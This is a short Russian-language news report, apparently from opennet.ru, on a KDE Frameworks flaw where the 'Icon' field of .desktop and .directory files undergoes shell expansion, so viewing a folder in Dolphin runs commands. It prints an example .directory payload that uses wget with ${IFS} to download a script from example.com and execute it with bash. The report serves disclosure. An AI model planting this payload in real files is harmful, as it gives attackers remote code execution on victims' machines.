Уязвимость в KDE, позволяющая выполнить код при просмотре списка файлов

В KDE выявлена уязвимость, позволяющая атакующему выполнить произвольные команды при просмотре пользователем каталога или архива, содержащего специально оформленные файлы «.desktop» и «.directory». Для атаки достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере Dolphin, загрузил вредоносный desktop-файл или перетащил мышью ярлык на рабочий стол или в документ. Проблема проявляется в актуальном выпуске библиотек KDE Frameworks 5.60.0 и более старых версиях, вплоть до KDE 4. Уязвимость пока остаётся неисправленной (CVE не присвоен).

Проблема вызвана некорректной реализацией класса KDesktopFile, который при обработке переменной «Icon» без должного экранирования передаёт значение в функцию KConfigPrivate::expandString(), которая выполняет раскрытие спецсимволов shell, в том числе обрабатывая строки «$(..)» как подлежащие исполнению команды. Вопреки требованиям спецификации XDG выполнение раскрытия shell-конструкций производится без разделения типа настроек, т.е. не только при определении командной строки запускаемого приложения, но и при указании отображаемых по умолчанию пиктограмм.

Например, для атаки достаточно отправить пользователю zip-архив с каталогом, содержащим файл «.directory» вида:

[Desktop Entry] Type=Directory
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

При попытке просмотра содержимого архива в файловом менеджере Dolphin будет загружен и выполнен скрипт https://example.com/FILENAME.sh.


Источник: opennet.ru

Добавить комментарий